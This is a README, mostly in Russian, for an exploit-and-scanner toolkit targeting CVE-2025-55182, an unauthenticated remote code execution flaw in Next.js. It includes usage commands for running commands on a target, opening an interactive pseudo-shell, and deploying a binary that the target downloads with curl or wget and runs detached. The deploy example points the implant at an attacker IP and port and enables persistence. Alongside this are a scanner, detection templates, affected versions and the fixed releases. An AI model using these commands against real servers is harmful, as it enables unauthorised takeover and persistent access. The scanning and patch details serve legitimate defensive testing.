react2shell

CVE-2025-55182 toolkit. Сканер + эксплойт для неаутентифицированного RCE в Next.js через внедрение полезной нагрузки RSC.

Node.js эксплойт: нулевые зависимости. Bash сканер: проверяет отдельные URL-адреса или массовые списки.

Exploit

# Single command with output
./react2shell.mjs -t http://target:3000 -c "id"

# Interactive pseudo-shell
./react2shell.mjs -t http://target:3000 -i

# Deploy a binary to the target (download + chmod + execute detached)
./react2shell.mjs -t http://target:3000 \
  --deploy ./my-agent \
  --remote-args "-H 10.10.14.5 -p 4444 --tls --cron"

Options:
  -t, --target <url>       Target URL (required)
  -c, --command <cmd>      Execute command with output
  --blind                  Blind RCE (no output capture)
  -i, --interactive        Interactive pseudo-shell
  --deploy <binary>        Upload and execute a binary on the target
  --lhost <ip>             Your IP (auto-detected if omitted)
  --serve-port <port>      HTTP port to serve the binary (default: 8888)
  --remote-args <args>     Arguments passed to the deployed binary

--deploy объединяет четыре вызова RCE: определение платформы (uname), загрузка бинарного файла (запускает временный HTTP-сервер, использует curl/wget на цели) и отсоединенный spawn, чтобы процесс пережил 5-секундный таймаут execSync.

Примечание: Целевая страница должна быть динамической (force-dynamic или некэшируемый маршрут). Статические/предварительно отрисованные страницы возвращают кэшированные дайджесты вместо выполнения полезной нагрузки.

Scanner

chmod +x cve-2025-55182-check.sh

# Scan a single URL
./cve-2025-55182-check.sh https://example.com

# Scan multiple URLs
./cve-2025-55182-check.sh -f urls.txt

# JSON output
./cve-2025-55182-check.sh --json https://example.com

Options:
  -f, --file FILE         Read URLs from file (one per line)
  -v, --verbose           Verbose output (show curl details)
  -q, --quiet             Quiet mode (only show vulnerable sites)
  -n, --no-follow         Don't follow redirects
  -t, --timeout SECONDS   Request timeout (default: 10)
  --json                  Output results in JSON format
  --validate-fix          Test for mitigation controls
  --single-payload        Use only the basic payload (faster)

Шаблоны интеграции

Шаблоны для инструментов безопасности в templates/:

• Nuclei (templates/nuclei.yaml)
• Burp Suite (templates/burp-scanner.json)
• OWASP ZAP (templates/zap-scan-policy.xml)

Затронутые версии

React: 19.0.0, 19.1.0, 19.1.1, 19.2.0 Next.js: >=14.3.0-canary.77, все 15.x и 16.x (до исправлений)

Исправлено: React 19.0.1+, 19.1.2+, 19.2.1+ Next.js 16.0.7+, 15.5.7+, 15.4.8+, 15.3.6+, 15.2.6+, 15.1.9+, 15.0.5+

Технические детали

См. TECHNICAL.md для полного анализа цепочки эксплойта.

Ссылки

• CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-55182
• React Advisory: https://react.dev/blog/2025/12/03/critical-security-vulnerability
• Fix Commit: https://github.com/facebook/react/commit/7dc903cd29

Лицензия

MIT

Автор

Allan Kimmer Jensen - https://akj.io